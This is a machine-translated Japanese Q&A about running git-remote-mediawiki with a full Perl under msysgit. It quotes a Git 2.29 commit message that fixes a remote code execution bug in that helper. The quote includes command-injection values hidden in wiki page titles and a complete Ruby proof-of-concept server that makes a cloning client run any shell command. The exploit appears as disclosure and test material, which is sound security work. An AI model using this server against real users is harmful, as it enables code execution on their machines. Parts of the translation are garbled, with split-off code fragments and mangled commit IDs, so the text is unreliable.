msysgit には最小限の perl ライブラリが同梱されています。
CPAN からいくつかのパッケージをダウンロードしたいので、完全な perl ライブラリを使用する必要があります。
どうやってするか?
git-remote-mediawiki
より具体的には、プラグインを使用したいです。そのため、perl ライブラリの完全なインストールが必要です。
そのスクリプトを参照するように環境変数を変更するだけで十分な場合は (この記事のように)最初に確認します (を変更します)。PERL5LIB
git-cmd.bat
set PERL5LIB = c:\path\to\git\contrib
それ以外の場合、 のような外部のcontrib perl スクリプトについてはgit-remote-mediawiki
、最近インストールされた Perl ディストリビューションを使用して、DOS セッションから試して実行することができます。
(暴徒がコメントで推奨しているように、 Strawberry Perlのように)。
git-cmd.bat
(gitPATH
とを適切に設定するHOME
) を使用し、最初に独自の perl を追加することをお勧めします。
@set PATH=%git_install_root%\bin;%git_install_root%\mingw\bin;%git_install_root%\cmd;%PATH%
# let's add our perl:
@set PATH=path/to/yourPerl;%PATH%
これは、FAQで説明されている理由で古い perl に依存する msysgit インストールとは無関係です。
その理由は、Subversion モジュール (通常の Windows では提供されない POSIX 機能を使用して C で記述されているため、MSys が必要になる) をコンパイルできなかったため、MSys バージョンの Perl が必要だからです。
スクリプトを開始するにはこれで十分に思えましたが、OP linquizeはコメントに次のように追加します。
外部を呼び出すラッパープログラムを作成することになり、gitに書き込む前に変換する必要があります。そうしないと、受信した場合にgitがハングします。
git-remote-mediawiki.exe
perl
CRLF
LF
stdout
CRLF
注: git-remote-mediawiki
Git 2.29 (2020 年第 4 四半期)、および MediaWiki リモート バックエンドの最新化と修正により、より堅牢になりました。
コミット9A86064、コミット878D150 、コミット4842A11 、コミット2D6B08A 、 F8AB018のコミット、 1D42B4Dのコミット、コミット2388541、コミット4F80BC9、DDE66EBのコミット、コミット9FF2958 、コミット730858Eのコミットメント70858E 、コミットメント730、およびcommit 872977b、commit 442f5aa (2020 年 9 月 16 日) by Ævar Arnfjörð Bjarmason ( )。
見るavar
commit 96653ce (2020 年 9 月 21 日) by Simon Legner ( simon04
) .
( 2020 年 10 月 4 日にコミット 5a25615でJunio C Hamanoによってマージされました)gitster
例えば:
remote-mediawiki
: 引用されたrun_git()
呼び出しに変換報告者: Joern Schneeweisz
署名者: Ævar Arnfjörð Bjarmason
run_safe()
引用符で囲まれた引数のリストで呼び出すことができる呼び出しサイトを変更してください。これにより、Joern Schneeweisz によって git-security メーリング リストに報告された、このトランスポート ヘルパーのRCE (リモート コード実行)バグが修正されます。
この問題は、remote-mediawiki コードが比較的不明瞭であるため公開されています。セキュリティの問題は、Perl の "
open -|
" を介してこのようなコマンドを実行することです。ここで、は応答$name
から直接取得されます。api.php
そのため、たとえば次の JSON 応答が得られます。[...]"title":"`id>/tmp/mw`:Main Page"[..]
次の呼び出しになります。
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
このパッチによって変更されている次のようなコードから:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
したがって、任意のコマンドを実行し、構成に "
remote.origin.namespaceCache=:notANameSpace
" も追加します。
この変更により、これらすべてを引用するのでremote.origin.namespaceCache=``id>/tmp/x``:notANameSpace
、リモート コマンドを実行せずに、単純に " " を構成に書き込みます。実装について: 「ファイルハンドルをコマンドに開く」(「 Safe Pipe Opens 」も参照) で説明されているように、このスタイルの呼び出し
open()
には、Perl 5.22 までの Windows での互換性の問題があります。
ただし、Johannes Schindelin は、このコンテキストでは Windows について心配する必要はないと述べています (彼の個人的な電子メールを引用)。
mediawiki ヘルパーは、正式な Git for Windows バージョンの一部として出荷されたことはありません。また、公式の MSYS2 パッケージの一部でもありません。つまり、mediawiki ヘルパーを使用したい Windows ユーザーは Git を自分でビルドする必要がありますが、これを行うユーザーはあまり多くないようです。
Perl v5.22.x に同梱された最後の Git for Windows バージョンは、Git for Windows v2.11.1 でした。Git for Windows v2.12.0 (2017 年 2 月 25 日にリリース) 以降、新しい Perl バージョンのみが含まれています。
open()
それでは、このAPIを使用してみましょう。
ぐるぐる回ってみると、gitweb など、出荷されている他のさまざまな Perl コードがこの呼び出し方法を使用しているopen()
ため、互換性に問題はないはずです。さらなる参照と今後のテストのために、Joern が提供する有効なエクスプロイト コードを次に示します。
#!/usr/bin/ruby # git client side RCE via `mediawiki` remote proof of concept # Joern Schneeweisz - GitLab Security Research Team require 'sinatra' set bind: '0.0.0.0' if not ARGV[0] puts "Please provide the shell command to be execucted." exit -1 end cmd = ARGV[0] all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd) revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd) mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd) post '/api.php' do if params[:list] == 'allpages' return all_pages end if params[:prop] == 'revisions' return revs end return mainpage end
どれの:
[...]
次のように実行する必要がありますruby wiki.rb 'id>/tmp/mw'
。ファイルを使用
してクローンを作成すると、クローン プロセス中に の出力を含む が作成されます。git clone mediawiki::http://localhost:4567
/tmp/mw
id